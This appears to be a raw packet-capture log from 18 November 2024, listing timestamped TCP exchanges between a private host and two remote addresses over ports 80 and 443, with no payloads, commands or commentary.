Nov 18, 2024 13:29:35.766436100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766447067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766457081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766474009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766494989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.766505957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.766544104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.766583920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766596079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766607046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766616106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766625881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766638994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766653061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.766655922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.766655922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.766699076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.766699076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.772222042 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.772617102 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.772627115 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.773761034 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.773822069 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.774177074 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.774251938 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.774427891 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.774434090 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.774466038 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.774521112 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.824563980 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.921010971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.925998926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.088797092 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.093063116 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.093086958 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.094146013 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.094261885 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.096529007 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.096602917 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.102183104 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.102190971 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.102248907 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.102283001 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.146069050 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.164249897 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.165034056 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.165082932 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.165252924 CET	443	49824	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.165272951 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.165306091 CET	49824	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.200500965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200527906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200539112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200556040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200581074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.200582027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.200606108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.200623035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200637102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200710058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200722933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200762033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.200762033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.200772047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200843096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200855970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200869083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200881004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200931072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.200964928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.200975895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201028109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201028109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201034069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201045036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201061964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201066971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201102018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201102018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201181889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201194048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201205015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201215982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201226950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201239109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201250076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201262951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201262951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201262951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201277971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201292038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201292038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201380014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201411963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201423883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201436043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201482058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201482058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201524973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201538086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201546907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201559067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201571941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201591015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201644897 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201646090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201740980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201751947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201773882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201787949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201798916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201811075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201822042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201833963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201836109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201849937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.201853037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201895952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.201895952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202042103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202054024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202075005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202086926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202100992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202100992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202112913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202145100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202157974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202234983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202245951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202256918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202269077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202281952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202333927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202333927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202333927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202380896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202393055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202405930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202433109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202471972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202488899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202502966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202514887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202527046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202542067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202555895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202567101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202569008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202569008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202579021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202591896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202599049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202606916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202651024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.202945948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202958107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202970982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202984095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.202996969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203010082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203023911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203026056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203026056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203036070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203048944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203066111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203066111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203253031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203264952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203277111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203288078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203289032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203290939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203304052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203342915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203342915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203561068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203571081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203583002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203603983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203615904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203627110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203638077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203638077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203639030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203650951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203663111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203675985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203686953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203692913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203700066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203704119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203711033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203721046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203722954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203733921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203737020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203752041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203766108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203777075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.203795910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203795910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.203819036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.204123020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.204134941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.204145908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.204158068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.204169989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.204184055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.204189062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.204189062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.204242945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.318886995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.318903923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.318917990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.318954945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.318985939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.318989992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319003105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319017887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319029093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319061995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319119930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319133997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319147110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319159031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319159985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319196939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319221020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319391966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319405079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319417000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319427967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319433928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319439888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319447041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319447994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319452047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319459915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319464922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319525003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319724083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319737911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319751024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319762945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319775105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319776058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319789886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319813013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319854021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319891930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319912910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319926977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319937944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319952965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319967031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.319967985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.319993973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.320014000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.356687069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.356698036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.356764078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.356781006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.356802940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.356815100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.356822014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.356844902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.356888056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.356900930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.356941938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357036114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357048035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357060909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357074976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357088089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357089043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357108116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357132912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357445955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357456923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357467890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357489109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357506990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357507944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357564926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357577085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357583046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357606888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357630968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357649088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357670069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357691050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357702017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357799053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357799053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357799053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357826948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357839108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357851028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357865095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357866049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357892990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357903004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.357918024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.357940912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358005047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358017921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358030081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358041048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358053923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358057022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358064890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358078957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358102083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358172894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358233929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358247995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358259916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358275890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358283043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358288050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358289957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358299971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358374119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358443975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358510017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358522892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358535051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358567953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358642101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358671904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358684063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358690977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358701944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358706951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358711004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358717918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358724117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358726978 CET	49746	80	192.168.2.8	185.215.113.206
